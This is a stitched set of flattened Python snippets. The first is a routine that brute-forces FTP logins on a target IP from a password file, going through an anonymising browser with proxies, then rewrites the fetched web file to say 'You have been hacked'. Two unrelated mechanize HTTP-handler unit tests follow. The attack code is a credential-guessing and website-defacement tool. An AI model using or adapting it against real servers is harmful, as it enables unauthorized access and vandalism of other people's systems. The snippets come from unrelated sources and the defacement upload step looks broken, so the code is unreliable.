def change_data_file(self, login_to_server, ip, file_name, ): self.login_to_server = login_to_server # self.pas_for_ftp = pas_for_ftp self.ip = ip self.file_name = file_name file = "pasw.txt" br = Anon(useragent, proxies) pf = open(file, 'r') #open a password file for line in pf.readlines(): pas_for_ftp = line.strip('\r').strip('\n') try: print "login_to_server - ", self.login_to_server # print "pas_for_ftp - ", self.pas_for_ftp print "IP - ", self.ip print "file_name - ", self.file_name url = "ftp://" + self.login_to_server + ":" + pas_for_ftp + "@" + self.ip + "/" print url url2 = url + self.file_name print url2 response = br.open(url2) soup = BeautifulSoup(response.get_data()) b = soup.prettify() tag = soup.body tag.clear() soup = BeautifulSoup("<body></body>") original_tag = soup.body new_tag = soup.new_tag("p") original_tag.append(new_tag) tag = soup.p tag.string = "You have been hacked" a = soup.prettify() print "File on server: ", b print "File's change: ", a request = Request(url2, data=b) request.get_host() request.get_data() print "Done!" break # response = br.open(url2) # html = br.response().get_data().replace("</b>", "< /b>") # response = mechanize.make_response(html, [("Content-Type", "text/html")], url2 , 200, "OK") # br.set_response(response) # html = br.response().get_data().replace(b, a) # response = mechanize.make_response(html, [("Content-Type", "text/html")], url2 , 200, "OK") # br.set_response(response) # html2 = br.request().get_data().replace(b, a) # mechanize.request_host(html2) except: print "[*]password", pas_for_ftp, "is incorrect"
def test_has_not_data_do_request(self): from hexagonit.testing.mech import HexagonitHTTPHandler from mechanize._request import Request request = Request('/plone/@@echo', data=True) request.get_host = mock.Mock() request.get_host.return_value = 'nohost' request.has_data = mock.Mock() request.has_data.return_value = False request.has_proxy = mock.Mock() request.has_proxy.return_value = False app = mock.Mock() handler = HexagonitHTTPHandler(app) handler.parent = mock.Mock() handler.parent.addheaders = [('User-agent', 'Python-urllib/2.6')] handler.do_request_(request) # ctype = 'multipart/form-data; boundary={0}'.format(BOUNDARY) ## Now uses default application/x-www-form-urlencoded istead of multipart/form-data self.assertRaises(KeyError, lambda: request.unredirected_hdrs['Content-type'])
def test_has_data_do_request(self): from hexagonit.testing.mech import HexagonitHTTPHandler from hexagonit.testing.mime import BOUNDARY from mechanize._request import Request request = Request('/plone/@@echo', data=True) request.get_host = mock.Mock() request.get_host.return_value = 'nohost' request.has_data = mock.Mock() request.has_data.return_value = True request.get_data = mock.Mock() request.get_data.return_value = 'Data' request.has_proxy = mock.Mock() request.has_proxy.return_value = False app = mock.Mock() handler = HexagonitHTTPHandler(app) handler.parent = mock.Mock() handler.parent.addheaders = [('User-agent', 'Python-urllib/2.6')] handler.do_request_(request) ctype = 'multipart/form-data; boundary={0}'.format(BOUNDARY) self.assertEquals(ctype, request.unredirected_hdrs['Content-type'])